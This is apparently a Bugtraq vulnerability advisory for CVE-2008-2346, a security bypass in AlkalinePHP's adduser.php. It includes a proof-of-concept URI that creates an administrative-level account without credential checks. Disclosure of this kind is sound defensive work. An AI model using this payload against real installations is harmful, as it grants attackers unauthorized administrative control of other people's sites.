AlkalinePHP 'adduser.php' Security Bypass Vulnerability

Bugtraq ID:	29267
Class:	Access Validation Error
CVE:	CVE-2008-2346
Remote:	Yes
Local:	No
Published:	May 19 2008 12:00AM
Updated:	May 07 2015 05:28PM
Credit:	t0pP8uZz
Vulnerable:	AlkalinePHP AlkalinePHP 0.77.3
Not Vulnerable:

AlkalinePHP 'adduser.php' Security Bypass Vulnerability

AlkalinePHP is prone to a security-bypass vulnerability because it fails to properly validate user credentials before performing certain actions.

Exploiting this issue may allow an attacker to bypass certain security restrictions and gain administrative access to the application. This will compromise the application and may aid in further attacks.

The issue affects AlkalinePHP 0.77.35 and prior versions.

AlkalinePHP 'adduser.php' Security Bypass Vulnerability

Attackers can exploit this issue using a browser.

The following proof-of-concept URI is available:

http://www.example.com/adduser.php?real_name=null&user_name=[user]&password=[pass]&level=10&[email protected]&website=null&misc=null

AlkalinePHP 'adduser.php' Security Bypass Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

AlkalinePHP 'adduser.php' Security Bypass Vulnerability

References:

• AlkalinePHP Project Homepage (AlkalinePHP)